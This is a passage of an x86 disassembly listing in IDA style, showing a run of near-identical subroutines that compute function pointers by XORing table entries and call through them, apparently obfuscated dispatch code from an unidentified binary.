		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B004D
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B004D:				; CODE XREF: sub_4AFFBD+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AFFBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B00B9	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB78o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E6h
		mov	[ebp+var_2C], 10h
		mov	[ebp+var_28], 0DAh
		mov	[ebp+var_24], 68h
		mov	[ebp+var_20], 82h
		mov	[ebp+var_1C], 0A8h
		mov	[ebp+var_18], 94h
		mov	[ebp+var_14], 9Bh
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B014A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B014A:				; CODE XREF: sub_4B00B9+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B00B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B01B6	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB7Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0Bh
		mov	[ebp+var_2C], 0C1h
		mov	[ebp+var_28], 5Ch
		mov	[ebp+var_24], 0CFh
		mov	[ebp+var_20], 23h
		mov	[ebp+var_1C], 0BEh
		mov	[ebp+var_18], 0D5h
		mov	[ebp+var_14], 0D4h
		mov	[ebp+var_10], 14h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 14h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0247
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0247:				; CODE XREF: sub_4B01B6+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B01B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B02B3	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB80o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 73h
		mov	[ebp+var_2C], 6Bh
		mov	[ebp+var_28], 0Fh
		mov	[ebp+var_24], 0D9h
		mov	[ebp+var_20], 0B3h
		mov	[ebp+var_1C], 0AFh
		mov	[ebp+var_18], 22h
		mov	[ebp+var_14], 0Eh
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0344
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0344:				; CODE XREF: sub_4B02B3+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B02B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B03B0	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB84o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 89h
		mov	[ebp+var_2C], 0BAh
		mov	[ebp+var_28], 0AFh
		mov	[ebp+var_24], 35h
		mov	[ebp+var_20], 0E8h
		mov	[ebp+var_1C], 0B0h
		mov	[ebp+var_18], 5Ah
		mov	[ebp+var_14], 31h
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0441
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0441:				; CODE XREF: sub_4B03B0+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B03B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B04AD	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB88o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 3
		mov	[ebp+var_2C], 0A9h
		mov	[ebp+var_28], 0D4h
		mov	[ebp+var_24], 0C0h
		mov	[ebp+var_20], 2Fh
		mov	[ebp+var_1C], 4Ah
		mov	[ebp+var_18], 0EEh
		mov	[ebp+var_14], 2Fh
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B053E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B053E:				; CODE XREF: sub_4B04AD+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B04AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B05AA	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB8Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0F0h
		mov	[ebp+var_2C], 61h
		mov	[ebp+var_28], 0F7h
		mov	[ebp+var_24], 37h
		mov	[ebp+var_20], 0CEh
		mov	[ebp+var_1C], 69h
		mov	[ebp+var_18], 8
		mov	[ebp+var_14], 0DBh
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B063B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B063B:				; CODE XREF: sub_4B05AA+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B05AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B06A7	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB90o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 39h
		mov	[ebp+var_2C], 63h
		mov	[ebp+var_28], 3Ah
		mov	[ebp+var_24], 21h
		mov	[ebp+var_20], 0A8h
		mov	[ebp+var_1C], 7
		mov	[ebp+var_18], 0DDh
		mov	[ebp+var_14], 0A1h
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0738
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0738:				; CODE XREF: sub_4B06A7+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B06A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B07A4	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB94o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E6h
		mov	[ebp+var_2C], 17h
		mov	[ebp+var_28], 0DFh
		mov	[ebp+var_24], 0B8h
		mov	[ebp+var_20], 5Eh
		mov	[ebp+var_1C], 8Bh
		mov	[ebp+var_18], 36h
		mov	[ebp+var_14], 0D8h
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0832
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0832:				; CODE XREF: sub_4B07A4+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B07A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B089E	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB98o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 89h
		mov	[ebp+var_2C], 8Eh
		mov	[ebp+var_28], 2Dh
		mov	[ebp+var_24], 0CCh
		mov	[ebp+var_20], 0CBh
		mov	[ebp+var_1C], 63h
		mov	[ebp+var_18], 0D7h
		mov	[ebp+var_14], 31h
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ah
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B092F
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B092F:				; CODE XREF: sub_4B089E+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B089E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B099B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB9Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Dh
		mov	[ebp+var_2C], 67h
		mov	[ebp+var_28], 0FBh
		mov	[ebp+var_24], 24h
		mov	[ebp+var_20], 0D9h
		mov	[ebp+var_1C], 35h
		mov	[ebp+var_18], 9Ch
		mov	[ebp+var_14], 52h
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ch
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B0A2C
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B0A2C:				; CODE XREF: sub_4B099B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B099B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B0A98	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBA0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
